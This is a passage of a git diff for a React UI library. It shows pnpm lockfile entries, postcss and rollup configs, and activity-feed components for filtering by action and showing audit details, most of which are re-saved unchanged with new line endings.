'@rollup/rollup-linux-s390x-gnu': 4.60.0 + '@rollup/rollup-linux-x64-gnu': 4.60.0 + '@rollup/rollup-linux-x64-musl': 4.60.0 + '@rollup/rollup-openbsd-x64': 4.60.0 + '@rollup/rollup-openharmony-arm64': 4.60.0 + '@rollup/rollup-win32-arm64-msvc': 4.60.0 + '@rollup/rollup-win32-ia32-msvc': 4.60.0 + '@rollup/rollup-win32-x64-gnu': 4.60.0 + '@rollup/rollup-win32-x64-msvc': 4.60.0 + fsevents: 2.3.3 + + run-parallel@1.2.0: + dependencies: + queue-microtask: 1.2.3 + + sade@1.8.1: + dependencies: + mri: 1.2.0 + + safe-array-concat@1.1.3: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + get-intrinsic: 1.3.0 + has-symbols: 1.1.0 + isarray: 2.0.5 + + safe-buffer@5.1.2: {} + + safe-buffer@5.2.1: {} + + safe-identifier@0.4.2: {} + + safe-push-apply@1.0.0: + dependencies: + es-errors: 1.3.0 + isarray: 2.0.5 + + safe-regex-test@1.1.0: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-regex: 1.2.1 + + safer-buffer@2.1.2: {} + + scheduler@0.23.2: + dependencies: + loose-envify: 1.4.0 + + scheduler@0.27.0: {} + + semver@6.3.1: {} + + semver@7.7.4: {} + + send@0.19.2: + dependencies: + debug: 2.6.9 + depd: 2.0.0 + destroy: 1.2.0 + encodeurl: 2.0.0 + escape-html: 1.0.3 + etag: 1.8.1 + fresh: 0.5.2 + http-errors: 2.0.1 + mime: 1.6.0 + ms: 2.1.3 + on-finished: 2.4.1 + range-parser: 1.2.1 + statuses: 2.0.2 + transitivePeerDependencies: + - supports-color + + serve-static@1.16.3: + dependencies: + encodeurl: 2.0.0 + escape-html: 1.0.3 + parseurl: 1.3.3 + send: 0.19.2 + transitivePeerDependencies: + - supports-color + + set-cookie-parser@2.7.2: {} + + set-function-length@1.2.2: + dependencies: + define-data-property: 1.1.4 + es-errors: 1.3.0 + function-bind: 1.1.2 + get-intrinsic: 1.3.0 + gopd: 1.2.0 + has-property-descriptors: 1.0.2 + + set-function-name@2.0.2: + dependencies: + define-data-property: 1.1.4 + es-errors: 1.3.0 + functions-have-names: 1.2.3 + has-property-descriptors: 1.0.2 + + set-proto@1.0.0: + dependencies: + dunder-proto: 1.0.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + + setprototypeof@1.2.0: {} + + shebang-command@2.0.0: + dependencies: + shebang-regex: 3.0.0 + + shebang-regex@3.0.0: {} + + side-channel-list@1.0.0: + dependencies: + es-errors: 1.3.0 + object-inspect: 1.13.4 + + side-channel-map@1.0.1: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + object-inspect: 1.13.4 + + side-channel-weakmap@1.0.2: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + object-inspect: 1.13.4 + side-channel-map: 1.0.1 + + side-channel@1.1.0: + dependencies: + es-errors: 1.3.0 + object-inspect: 1.13.4 + side-channel-list: 1.0.0 + side-channel-map: 1.0.1 + side-channel-weakmap: 1.0.2 + + signal-exit@3.0.7: {} + + signal-exit@4.1.0: {} + + slash@3.0.0: {} + + source-map-js@1.2.1: {} + + source-map-support@0.5.21: + dependencies: + buffer-from: 1.1.2 + source-map: 0.6.1 + + source-map@0.6.1: {} + + source-map@0.7.6: {} + + space-separated-tokens@2.0.2: {} + + spdx-correct@3.2.0: + dependencies: + spdx-expression-parse: 3.0.1 + spdx-license-ids: 3.0.23 + + spdx-exceptions@2.5.0: {} + + spdx-expression-parse@3.0.1: + dependencies: + spdx-exceptions: 2.5.0 + spdx-license-ids: 3.0.23 + + spdx-license-ids@3.0.23: {} + + ssri@10.0.6: + dependencies: + minipass: 7.1.3 + + stable@0.1.8: {} + + state-local@1.0.7: {} + + statuses@2.0.2: {} + + stop-iteration-iterator@1.1.0: + dependencies: + es-errors: 1.3.0 + internal-slot: 1.1.0 + + stream-shift@1.0.3: {} + + stream-slice@0.1.2: {} + + string-hash@1.1.3: {} + + string-width@4.2.3: + dependencies: + emoji-regex: 8.0.0 + is-fullwidth-code-point: 3.0.0 + strip-ansi: 6.0.1 + + string-width@5.1.2: + dependencies: + eastasianwidth: 0.2.0 + emoji-regex: 9.2.2 + strip-ansi: 7.2.0 + + string.prototype.matchall@4.0.12: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-abstract: 1.24.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + get-intrinsic: 1.3.0 + gopd: 1.2.0 + has-symbols: 1.1.0 + internal-slot: 1.1.0 + regexp.prototype.flags: 1.5.4 + set-function-name: 2.0.2 + side-channel: 1.1.0 + + string.prototype.repeat@1.0.0: + dependencies: + define-properties: 1.2.1 + es-abstract: 1.24.1 + + string.prototype.trim@1.2.10: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-data-property: 1.1.4 + define-properties: 1.2.1 + es-abstract: 1.24.1 + es-object-atoms: 1.1.1 + has-property-descriptors: 1.0.2 + + string.prototype.trimend@1.0.9: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + + string.prototype.trimstart@1.0.8: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + + string_decoder@1.1.1: + dependencies: + safe-buffer: 5.1.2 + + string_decoder@1.3.0: + dependencies: + safe-buffer: 5.2.1 + + stringify-entities@4.0.4: + dependencies: + character-entities-html4: 2.1.0 + character-entities-legacy: 3.0.0 + + strip-ansi@6.0.1: + dependencies: + ansi-regex: 5.0.1 + + strip-ansi@7.2.0: + dependencies: + ansi-regex: 6.2.2 + + strip-bom@3.0.0: {} + + strip-final-newline@2.0.0: {} + + strip-json-comments@3.1.1: {} + + style-inject@0.3.0: {} + + style-to-object@0.4.4: + dependencies: + inline-style-parser: 0.1.1 + + stylehacks@5.1.1(postcss@8.5.8): + dependencies: + browserslist: 4.28.1 + postcss: 8.5.8 + postcss-selector-parser: 6.1.2 + + supports-color@7.2.0: + dependencies: + has-flag: 4.0.0 + + supports-preserve-symlinks-flag@1.0.0: {} + + svgo@2.8.0: + dependencies: + '@trysound/sax': 0.2.0 + commander: 7.2.0 + css-select: 4.3.0 + css-tree: 1.1.3 + csso: 4.2.0 + picocolors: 1.1.1 + stable: 0.1.8 + + tailwind-merge@3.5.0: {} + + tailwindcss-animate@1.0.7(tailwindcss@4.2.2): + dependencies: + tailwindcss: 4.2.2 + + tailwindcss@4.2.2: {} + + tapable@2.3.2: {} + + tar-fs@2.1.4: + dependencies: + chownr: 1.1.4 + mkdirp-classic: 0.5.3 + pump: 3.0.3 + tar-stream: 2.2.0 + + tar-stream@2.2.0: + dependencies: + bl: 4.1.0 + end-of-stream: 1.4.5 + fs-constants: 1.0.0 + inherits: 2.0.4 + readable-stream: 3.6.2 + + tar@6.2.1: + dependencies: + chownr: 2.0.0 + fs-minipass: 2.1.0 + minipass: 5.0.0 + minizlib: 2.1.2 + mkdirp: 1.0.4 + yallist: 4.0.0 + + text-table@0.2.0: {} + + through2@2.0.5: + dependencies: + readable-stream: 2.3.8 + xtend: 4.0.2 + + to-regex-range@5.0.1: + dependencies: + is-number: 7.0.0 + + toidentifier@1.0.1: {} + + toml@3.0.0: {} + + trim-lines@3.0.1: {} + + trough@2.2.0: {} + + ts-api-utils@1.4.3(typescript@5.9.3): + dependencies: + typescript: 5.9.3 + + tsconfig-paths@4.2.0: + dependencies: + json5: 2.2.3 + minimist: 1.2.8 + strip-bom: 3.0.0 + + tslib@2.8.1: {} + + turbo-stream@2.4.1: {} + + type-check@0.4.0: + dependencies: + prelude-ls: 1.2.1 + + type-fest@0.20.2: {} + + type-is@1.6.18: + dependencies: + media-typer: 0.3.0 + mime-types: 2.1.35 + + typed-array-buffer@1.0.3: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-typed-array: 1.1.15 + + typed-array-byte-length@1.0.3: + dependencies: + call-bind: 1.0.8 + for-each: 0.3.5 + gopd: 1.2.0 + has-proto: 1.2.0 + is-typed-array: 1.1.15 + + typed-array-byte-offset@1.0.4: + dependencies: + available-typed-arrays: 1.0.7 + call-bind: 1.0.8 + for-each: 0.3.5 + gopd: 1.2.0 + has-proto: 1.2.0 + is-typed-array: 1.1.15 + reflect.getprototypeof: 1.0.10 + + typed-array-length@1.0.7: + dependencies: + call-bind: 1.0.8 + for-each: 0.3.5 + gopd: 1.2.0 + is-typed-array: 1.1.15 + possible-typed-array-names: 1.1.0 + reflect.getprototypeof: 1.0.10 + + typescript@5.9.3: {} + + ufo@1.6.3: {} + + unbox-primitive@1.1.0: + dependencies: + call-bound: 1.0.4 + has-bigints: 1.1.0 + has-symbols: 1.1.0 + which-boxed-primitive: 1.1.1 + + undici-types@7.18.2: {} + + undici@6.23.0: {} + + unified@10.1.2: + dependencies: + '@types/unist': 2.0.11 + bail: 2.0.2 + extend: 3.0.2 + is-buffer: 2.0.5 + is-plain-obj: 4.1.0 + trough: 2.2.0 + vfile: 5.3.7 + + unique-filename@3.0.0: + dependencies: + unique-slug: 4.0.0 + + unique-slug@4.0.0: + dependencies: + imurmurhash: 0.1.4 + + unist-util-generated@2.0.1: {} + + unist-util-is@5.2.1: + dependencies: + '@types/unist': 2.0.11 + + unist-util-position-from-estree@1.1.2: + dependencies: + '@types/unist': 2.0.11 + + unist-util-position@4.0.4: + dependencies: + '@types/unist': 2.0.11 + + unist-util-remove-position@4.0.2: + dependencies: + '@types/unist': 2.0.11 + unist-util-visit: 4.1.2 + + unist-util-stringify-position@3.0.3: + dependencies: + '@types/unist': 2.0.11 + + unist-util-visit-parents@5.1.3: + dependencies: + '@types/unist': 2.0.11 + unist-util-is: 5.2.1 + + unist-util-visit@4.1.2: + dependencies: + '@types/unist': 2.0.11 + unist-util-is: 5.2.1 + unist-util-visit-parents: 5.1.3 + + universalify@2.0.1: {} + + unpipe@1.0.0: {} + + update-browserslist-db@1.2.3(browserslist@4.28.1): + dependencies: + browserslist: 4.28.1 + escalade: 3.2.0 + picocolors: 1.1.1 + + uri-js@4.4.1: + dependencies: + punycode: 2.3.1 + + use-callback-ref@1.3.3(@types/react@18.3.28)(react@19.2.4): + dependencies: + react: 19.2.4 + tslib: 2.8.1 + optionalDependencies: + '@types/react': 18.3.28 + + use-sidecar@1.1.3(@types/react@18.3.28)(react@19.2.4): + dependencies: + detect-node-es: 1.1.0 + react: 19.2.4 + tslib: 2.8.1 + optionalDependencies: + '@types/react': 18.3.28 + + util-deprecate@1.0.2: {} + + util@0.12.5: + dependencies: + inherits: 2.0.4 + is-arguments: 1.2.0 + is-generator-function: 1.1.2 + is-typed-array: 1.1.15 + which-typed-array: 1.1.20 + + utils-merge@1.0.1: {} + + uvu@0.5.6: + dependencies: + dequal: 2.0.3 + diff: 5.2.2 + kleur: 4.1.5 + sade: 1.8.1 + + valibot@1.2.0(typescript@5.9.3): + optionalDependencies: + typescript: 5.9.3 + + validate-npm-package-license@3.0.4: + dependencies: + spdx-correct: 3.2.0 + spdx-expression-parse: 3.0.1 + + validate-npm-package-name@5.0.1: {} + + vary@1.1.2: {} + + vfile-message@3.1.4: + dependencies: + '@types/unist': 2.0.11 + unist-util-stringify-position: 3.0.3 + + vfile@5.3.7: + dependencies: + '@types/unist': 2.0.11 + is-buffer: 2.0.5 + unist-util-stringify-position: 3.0.3 + vfile-message: 3.1.4 + + vite-node@1.6.1(@types/node@25.3.2)(lightningcss@1.32.0): + dependencies: + cac: 6.7.14 + debug: 4.4.3 + pathe: 1.1.2 + picocolors: 1.1.1 + vite: 5.4.21(@types/node@25.3.2)(lightningcss@1.32.0) + transitivePeerDependencies: + - '@types/node' + - less + - lightningcss + - sass + - sass-embedded + - stylus + - sugarss + - supports-color + - terser + + vite-node@3.2.4(@types/node@25.3.2)(lightningcss@1.32.0): + dependencies: + cac: 6.7.14 + debug: 4.4.3 + es-module-lexer: 1.7.0 + pathe: 2.0.3 + vite: 5.4.21(@types/node@25.3.2)(lightningcss@1.32.0) + transitivePeerDependencies: + - '@types/node' + - less + - lightningcss + - sass + - sass-embedded + - stylus + - sugarss + - supports-color + - terser + + vite@5.4.21(@types/node@25.3.2)(lightningcss@1.32.0): + dependencies: + esbuild: 0.21.5 + postcss: 8.5.8 + rollup: 4.60.0 + optionalDependencies: + '@types/node': 25.3.2 + fsevents: 2.3.3 + lightningcss: 1.32.0 + + wcwidth@1.0.1: + dependencies: + defaults: 1.0.4 + + web-encoding@1.1.5: + dependencies: + util: 0.12.5 + optionalDependencies: + '@zxing/text-encoding': 0.9.0 + + web-streams-polyfill@3.3.3: {} + + which-boxed-primitive@1.1.1: + dependencies: + is-bigint: 1.1.0 + is-boolean-object: 1.2.2 + is-number-object: 1.1.1 + is-string: 1.1.1 + is-symbol: 1.1.1 + + which-builtin-type@1.2.1: + dependencies: + call-bound: 1.0.4 + function.prototype.name: 1.1.8 + has-tostringtag: 1.0.2 + is-async-function: 2.1.1 + is-date-object: 1.1.0 + is-finalizationregistry: 1.1.1 + is-generator-function: 1.1.2 + is-regex: 1.2.1 + is-weakref: 1.1.1 + isarray: 2.0.5 + which-boxed-primitive: 1.1.1 + which-collection: 1.0.2 + which-typed-array: 1.1.20 + + which-collection@1.0.2: + dependencies: + is-map: 2.0.3 + is-set: 2.0.3 + is-weakmap: 2.0.2 + is-weakset: 2.0.4 + + which-typed-array@1.1.20: + dependencies: + available-typed-arrays: 1.0.7 + call-bind: 1.0.8 + call-bound: 1.0.4 + for-each: 0.3.5 + get-proto: 1.0.1 + gopd: 1.2.0 + has-tostringtag: 1.0.2 + + which@2.0.2: + dependencies: + isexe: 2.0.0 + + which@3.0.1: + dependencies: + isexe: 2.0.0 + + word-wrap@1.2.5: {} + + wrap-ansi@7.0.0: + dependencies: + ansi-styles: 4.3.0 + string-width: 4.2.3 + strip-ansi: 6.0.1 + + wrap-ansi@8.1.0: + dependencies: + ansi-styles: 6.2.3 + string-width: 5.1.2 + strip-ansi: 7.2.0 + + wrappy@1.0.2: {} + + ws@7.5.10: {} + + xtend@4.0.2: {} + + yallist@3.1.1: {} + + yallist@4.0.0: {} + + yaml@1.10.2: {} + + yaml@2.8.2: {} + + yocto-queue@0.1.0: {} + + zwitch@2.0.4: {} diff --git a/ui/postcss.config.js b/ui/postcss.config.js index 51a6e4e6..9df712d7 100644 --- a/ui/postcss.config.js +++ b/ui/postcss.config.js @@ -1,6 +1,6 @@ -export default { - plugins: { - '@tailwindcss/postcss': {}, - autoprefixer: {}, - }, -}; +export default { + plugins: { + '@tailwindcss/postcss': {}, + autoprefixer: {}, + }, +}; diff --git a/ui/rollup.config.mjs b/ui/rollup.config.mjs index 071bb9b7..e01a243f 100644 --- a/ui/rollup.config.mjs +++ b/ui/rollup.config.mjs @@ -1,57 +1,57 @@ -import resolve from '@rollup/plugin-node-resolve'; -import commonjs from '@rollup/plugin-commonjs'; -import typescript from '@rollup/plugin-typescript'; -import peerDepsExternal from 'rollup-plugin-peer-deps-external'; -import postcss from 'rollup-plugin-postcss'; -import autoprefixer from 'autoprefixer'; - -export default { - input: 'src/index.ts', - output: [ - { - file: 'dist/index.js', - format: 'cjs', - sourcemap: true, - exports: 'named', - }, - { - file: 'dist/index.esm.js', - format: 'esm', - sourcemap: true, - }, - ], - plugins: [ - peerDepsExternal(), - resolve({ - extensions: ['.ts', '.tsx', '.js', '.jsx'], - }), - commonjs({ - include: /node_modules/, - // Don't try to convert React to CommonJS - ignore: ['react', 'react-dom', 'react/jsx-runtime'], - }), - typescript({ - tsconfig: './tsconfig.json', - declaration: true, - declarationDir: 'dist', - noEmitOnError: false, - }), - postcss({ - // Don't extract CSS - host app provides Tailwind - // This avoids CSS layer conflicts with host applications - inject: false, - minimize: true, - plugins: [ - autoprefixer(), - ], - }), - ], - external: [ - 'react', - 'react-dom', - 'react/jsx-runtime', - /^react\//, - /^react-dom\//, - /^@radix-ui\//, - ], -}; +import resolve from '@rollup/plugin-node-resolve'; +import commonjs from '@rollup/plugin-commonjs'; +import typescript from '@rollup/plugin-typescript'; +import peerDepsExternal from 'rollup-plugin-peer-deps-external'; +import postcss from 'rollup-plugin-postcss'; +import autoprefixer from 'autoprefixer'; + +export default { + input: 'src/index.ts', + output: [ + { + file: 'dist/index.js', + format: 'cjs', + sourcemap: true, + exports: 'named', + }, + { + file: 'dist/index.esm.js', + format: 'esm', + sourcemap: true, + }, + ], + plugins: [ + peerDepsExternal(), + resolve({ + extensions: ['.ts', '.tsx', '.js', '.jsx'], + }), + commonjs({ + include: /node_modules/, + // Don't try to convert React to CommonJS + ignore: ['react', 'react-dom', 'react/jsx-runtime'], + }), + typescript({ + tsconfig: './tsconfig.json', + declaration: true, + declarationDir: 'dist', + noEmitOnError: false, + }), + postcss({ + // Don't extract CSS - host app provides Tailwind + // This avoids CSS layer conflicts with host applications + inject: false, + minimize: true, + plugins: [ + autoprefixer(), + ], + }), + ], + external: [ + 'react', + 'react-dom', + 'react/jsx-runtime', + /^react\//, + /^react-dom\//, + /^@radix-ui\//, + ], +}; diff --git a/ui/src/components/ActionMultiSelect.tsx b/ui/src/components/ActionMultiSelect.tsx index fb9a41a2..9e135691 100644 --- a/ui/src/components/ActionMultiSelect.tsx +++ b/ui/src/components/ActionMultiSelect.tsx @@ -1,123 +1,123 @@ -import * as React from 'react'; -import * as Popover from '@radix-ui/react-popover'; -import { ChevronDown } from 'lucide-react'; -import { Checkbox } from './ui/checkbox'; -import { cn } from '../lib/utils'; - -export interface ActionMultiSelectOption { - value: string; - label: string; - count?: number; -} - -export interface ActionMultiSelectProps { - /** Current selected verbs */ - value: string[]; - /** Handler called when selection changes */ - onChange: (verbs: string[]) => void; - /** Additional CSS class */ - className?: string; - /** Whether the select is disabled */ - disabled?: boolean; - /** Available action options with counts */ - options: ActionMultiSelectOption[]; - /** Whether facets are still loading */ - isLoading?: boolean; -} - -/** - * ActionMultiSelect provides a compact multi-select dropdown for filtering by action/verb. - * Uses checkboxes for multiple selection and displays counts from facet queries. - */ -export function ActionMultiSelect({ - value, - onChange, - className = '', - disabled = false, - options, - isLoading = false, -}: ActionMultiSelectProps) { - const [open, setOpen] = React.useState(false); - - const handleToggle = React.useCallback( - (actionValue: string) => { - if (value.includes(actionValue)) { - onChange(value.filter((v) => v !== actionValue)); - } else { - onChange([...value, actionValue]); - } - }, - [value, onChange] - ); - - const displayText = React.useMemo(() => { - if (value.length === 0) return 'Actions'; - if (value.length === 1) return '1 action'; - return `${value.length} actions`; - }, [value.length]); - - return ( - - - - - - -
- {isLoading ? ( -
Loading...
- ) : options.length === 0 ? ( -
No actions found
- ) : ( - options.map((option) => { - const checked = value.includes(option.value); - return ( - - ); - }) - )} -
-
-
-
- ); -} +import * as React from 'react'; +import * as Popover from '@radix-ui/react-popover'; +import { ChevronDown } from 'lucide-react'; +import { Checkbox } from './ui/checkbox'; +import { cn } from '../lib/utils'; + +export interface ActionMultiSelectOption { + value: string; + label: string; + count?: number; +} + +export interface ActionMultiSelectProps { + /** Current selected verbs */ + value: string[]; + /** Handler called when selection changes */ + onChange: (verbs: string[]) => void; + /** Additional CSS class */ + className?: string; + /** Whether the select is disabled */ + disabled?: boolean; + /** Available action options with counts */ + options: ActionMultiSelectOption[]; + /** Whether facets are still loading */ + isLoading?: boolean; +} + +/** + * ActionMultiSelect provides a compact multi-select dropdown for filtering by action/verb. + * Uses checkboxes for multiple selection and displays counts from facet queries. + */ +export function ActionMultiSelect({ + value, + onChange, + className = '', + disabled = false, + options, + isLoading = false, +}: ActionMultiSelectProps) { + const [open, setOpen] = React.useState(false); + + const handleToggle = React.useCallback( + (actionValue: string) => { + if (value.includes(actionValue)) { + onChange(value.filter((v) => v !== actionValue)); + } else { + onChange([...value, actionValue]); + } + }, + [value, onChange] + ); + + const displayText = React.useMemo(() => { + if (value.length === 0) return 'Actions'; + if (value.length === 1) return '1 action'; + return `${value.length} actions`; + }, [value.length]); + + return ( + + + + + + +
+ {isLoading ? ( +
Loading...
+ ) : options.length === 0 ? ( +
No actions found
+ ) : ( + options.map((option) => { + const checked = value.includes(option.value); + return ( + + ); + }) + )} +
+
+
+
+ ); +} diff --git a/ui/src/components/ActionToggle.tsx b/ui/src/components/ActionToggle.tsx index cc1eae1f..e6473212 100644 --- a/ui/src/components/ActionToggle.tsx +++ b/ui/src/components/ActionToggle.tsx @@ -1,95 +1,95 @@ -import { Button } from './ui/button'; -import { cn } from '../lib/utils'; - -export type ActionOption = 'all' | 'create' | 'update' | 'delete' | 'get' | 'list' | 'watch'; - -export interface ActionToggleProps { - /** Current selected value */ - value: ActionOption; - /** Handler called when selection changes */ - onChange: (value: ActionOption) => void; - /** Additional CSS class */ - className?: string; - /** Whether the toggle is disabled */ - disabled?: boolean; -} - -/** - * Options for the action toggle - */ -const OPTIONS: { value: ActionOption; label: string; description: string }[] = [ - { - value: 'all', - label: 'All', - description: 'Show all actions', - }, - { - value: 'create', - label: 'Create', - description: 'Show only create actions', - }, - { - value: 'update', - label: 'Update', - description: 'Show update and patch actions', - }, - { - value: 'delete', - label: 'Delete', - description: 'Show only delete actions', - }, - { - value: 'get', - label: 'Get', - description: 'Show only get actions', - }, - { - value: 'list', - label: 'List', - description: 'Show only list actions', - }, - { - value: 'watch', - label: 'Watch', - description: 'Show only watch actions', - }, -]; - -/** - * ActionToggle provides a segmented control for filtering by action/verb - */ -export function ActionToggle({ - value, - onChange, - className = '', - disabled = false, -}: ActionToggleProps) { - return ( -
- {OPTIONS.map((option, index) => ( - - ))} -
- ); -} +import { Button } from './ui/button'; +import { cn } from '../lib/utils'; + +export type ActionOption = 'all' | 'create' | 'update' | 'delete' | 'get' | 'list' | 'watch'; + +export interface ActionToggleProps { + /** Current selected value */ + value: ActionOption; + /** Handler called when selection changes */ + onChange: (value: ActionOption) => void; + /** Additional CSS class */ + className?: string; + /** Whether the toggle is disabled */ + disabled?: boolean; +} + +/** + * Options for the action toggle + */ +const OPTIONS: { value: ActionOption; label: string; description: string }[] = [ + { + value: 'all', + label: 'All', + description: 'Show all actions', + }, + { + value: 'create', + label: 'Create', + description: 'Show only create actions', + }, + { + value: 'update', + label: 'Update', + description: 'Show update and patch actions', + }, + { + value: 'delete', + label: 'Delete', + description: 'Show only delete actions', + }, + { + value: 'get', + label: 'Get', + description: 'Show only get actions', + }, + { + value: 'list', + label: 'List', + description: 'Show only list actions', + }, + { + value: 'watch', + label: 'Watch', + description: 'Show only watch actions', + }, +]; + +/** + * ActionToggle provides a segmented control for filtering by action/verb + */ +export function ActionToggle({ + value, + onChange, + className = '', + disabled = false, +}: ActionToggleProps) { + return ( +
+ {OPTIONS.map((option, index) => ( + + ))} +
+ ); +} diff --git a/ui/src/components/ActivityExpandedDetails.tsx b/ui/src/components/ActivityExpandedDetails.tsx index 14dc44ea..e5357e7f 100644 --- a/ui/src/components/ActivityExpandedDetails.tsx +++ b/ui/src/components/ActivityExpandedDetails.tsx @@ -1,224 +1,224 @@ -import { useState } from 'react'; -import { Copy, Check } from 'lucide-react'; -import type { Activity, TenantLinkResolver } from '../types/activity'; -import { TenantBadge } from './TenantBadge'; -import { - Tooltip, - TooltipContent, - TooltipProvider, - TooltipTrigger, -} from './ui/tooltip'; - -export interface ActivityExpandedDetailsProps { - /** The activity to display details for */ - activity: Activity; - /** Optional resolver function to make tenant badges clickable */ - tenantLinkResolver?: TenantLinkResolver; - /** When true, removes the top margin/border (caller handles the separator) */ - compact?: boolean; -} - -/** - * Format timestamp for display (in UTC) - */ -function formatTimestampFull(timestamp?: string): string { - if (!timestamp) return 'Unknown time'; - try { - const date = new Date(timestamp); - return `${date.getUTCFullYear()}-${String(date.getUTCMonth() + 1).padStart(2, '0')}-${String(date.getUTCDate()).padStart(2, '0')} ${String(date.getUTCHours()).padStart(2, '0')}:${String(date.getUTCMinutes()).padStart(2, '0')}:${String(date.getUTCSeconds()).padStart(2, '0')} UTC`; - } catch { - return timestamp; - } -} - -/** - * CopyButton component for copying field values to clipboard - */ -function CopyButton({ value, label }: { value: string; label: string }) { - const [isCopied, setIsCopied] = useState(false); - - const handleCopy = async (e: React.MouseEvent) => { - e.stopPropagation(); - try { - await navigator.clipboard.writeText(value); - setIsCopied(true); - setTimeout(() => setIsCopied(false), 2000); - } catch (err) { - console.error('Failed to copy:', err); - } - }; - - return ( - - - - - -

{isCopied ? 'Copied!' : `Copy ${label}`}

-
-
- ); -} - -/** - * ActivityExpandedDetails renders the expanded details section for an activity. - * Used by both feed and timeline variants of ActivityFeedItem for consistent UX. - * - * Section order (most to least relevant for investigation): - * 1. Changes - what changed (most actionable) - * 2. Timestamp - when it happened - * 3. Tenant - scope of the activity - * 4. Actor - who made the change - * 5. Resource - what resource was affected - * 6. Origin - correlation to audit logs - */ -export function ActivityExpandedDetails({ activity, tenantLinkResolver, compact = false }: ActivityExpandedDetailsProps) { - const { spec, metadata } = activity; - const { actor, resource, origin, changes, tenant } = spec; - const timestamp = metadata?.creationTimestamp; - - return ( - -
- {/* Field Changes - Most actionable, shown first */} - {changes && changes.length > 0 && ( -
-

- Changes -

-
- {changes.map((change, index) => ( -
- - {change.field} - - {change.old && ( - - - {change.old} - - )} - {change.new && ( - - + - {change.new} - - )} -
- ))} -
-
- )} - - {/* CSS Grid layout with reduced min-width for more columns */} -
- {/* 1. Timestamp */} -
-
Timestamp:
-
- {formatTimestampFull(timestamp)} - -
-
- - {/* 2. Actor Type */} -
-
Actor Type:
-
- {actor.type} - -
-
- - {/* 3. Actor */} -
-
Actor:
-
- {actor.name} - -
-
- - {/* 4. API Group */} - {resource.apiGroup && ( -
-
API Group:
-
- {resource.apiGroup} - -
-
- )} - - {/* 5. Resource */} -
-
Resource:
-
- {resource.kind} - -
-
- - {/* 6. Resource Name */} -
-
Resource Name:
-
- {resource.name} - -
-
- - {/* 7. Namespace */} - {resource.namespace && ( -
-
Namespace:
-
- {resource.namespace} - -
-
- )} - - {/* 8. Resource UID */} - {resource.uid && ( -
-
Resource UID:
-
- {resource.uid} - -
-
- )} - - {/* 9. Origin */} -
-
Origin:
-
- {origin.type} - -
-
- - {/* 10. Origin ID */} -
-
Origin ID:
-
- {origin.id} - -
-
-
-
-
- ); -} +import { useState } from 'react'; +import { Copy, Check } from 'lucide-react'; +import type { Activity, TenantLinkResolver } from '../types/activity'; +import { TenantBadge } from './TenantBadge'; +import { + Tooltip, + TooltipContent, + TooltipProvider, + TooltipTrigger, +} from './ui/tooltip'; + +export interface ActivityExpandedDetailsProps { + /** The activity to display details for */ + activity: Activity; + /** Optional resolver function to make tenant badges clickable */ + tenantLinkResolver?: TenantLinkResolver; + /** When true, removes the top margin/border (caller handles the separator) */ + compact?: boolean; +} + +/** + * Format timestamp for display (in UTC) + */ +function formatTimestampFull(timestamp?: string): string { + if (!timestamp) return 'Unknown time'; + try { + const date = new Date(timestamp); + return `${date.getUTCFullYear()}-${String(date.getUTCMonth() + 1).padStart(2, '0')}-${String(date.getUTCDate()).padStart(2, '0')} ${String(date.getUTCHours()).padStart(2, '0')}:${String(date.getUTCMinutes()).padStart(2, '0')}:${String(date.getUTCSeconds()).padStart(2, '0')} UTC`; + } catch { + return timestamp; + } +} + +/** + * CopyButton component for copying field values to clipboard + */ +function CopyButton({ value, label }: { value: string; label: string }) { + const [isCopied, setIsCopied] = useState(false); + + const handleCopy = async (e: React.MouseEvent) => { + e.stopPropagation(); + try { + await navigator.clipboard.writeText(value); + setIsCopied(true); + setTimeout(() => setIsCopied(false), 2000); + } catch (err) { + console.error('Failed to copy:', err); + } + }; + + return ( + + + + + +

{isCopied ? 'Copied!' : `Copy ${label}`}

+
+
+ ); +} + +/** + * ActivityExpandedDetails renders the expanded details section for an activity. + * Used by both feed and timeline variants of ActivityFeedItem for consistent UX. + * + * Section order (most to least relevant for investigation): + * 1. Changes - what changed (most actionable) + * 2. Timestamp - when it happened + * 3. Tenant - scope of the activity + * 4. Actor - who made the change + * 5. Resource - what resource was affected + * 6. Origin - correlation to audit logs + */ +export function ActivityExpandedDetails({ activity, tenantLinkResolver, compact = false }: ActivityExpandedDetailsProps) { + const { spec, metadata } = activity; + const { actor, resource, origin, changes, tenant } = spec; + const timestamp = metadata?.creationTimestamp; + + return ( + +
+ {/* Field Changes - Most actionable, shown first */} + {changes && changes.length > 0 && ( +
+

+ Changes +

+
+ {changes.map((change, index) => ( +
+ + {change.field} + + {change.old && ( + + + {change.old} + + )} + {change.new && ( + + + + {change.new} + + )} +
+ ))} +
+
+ )} + + {/* CSS Grid layout with reduced min-width for more columns */} +
+ {/* 1. Timestamp */} +
+
Timestamp:
+
+ {formatTimestampFull(timestamp)} + +
+
+ + {/* 2. Actor Type */} +
+
Actor Type:
+
+ {actor.type} + +
+
+ + {/* 3. Actor */} +
+
Actor:
+
+ {actor.name} + +
+
+ + {/* 4. API Group */} + {resource.apiGroup && ( +
+
API Group:
+
+ {resource.apiGroup} + +
+
+ )} + + {/* 5. Resource */} +
+
Resource:
+
+ {resource.kind} + +
+
+ + {/* 6. Resource Name */} +
+
Resource Name:
+
+ {resource.name} + +
+
+ + {/* 7. Namespace */} + {resource.namespace && ( +
+
Namespace:
+
+ {resource.namespace} + +
+
+ )} + + {/* 8. Resource UID */} + {resource.uid && ( +
+
Resource UID:
+
+ {resource.uid} + +
+
+ )} + + {/* 9. Origin */} +
+
Origin:
+
+ {origin.type} + +
+
+ + {/* 10. Origin ID */} +
+
Origin ID:
+
+ {origin.id} + +
+
+
+
+
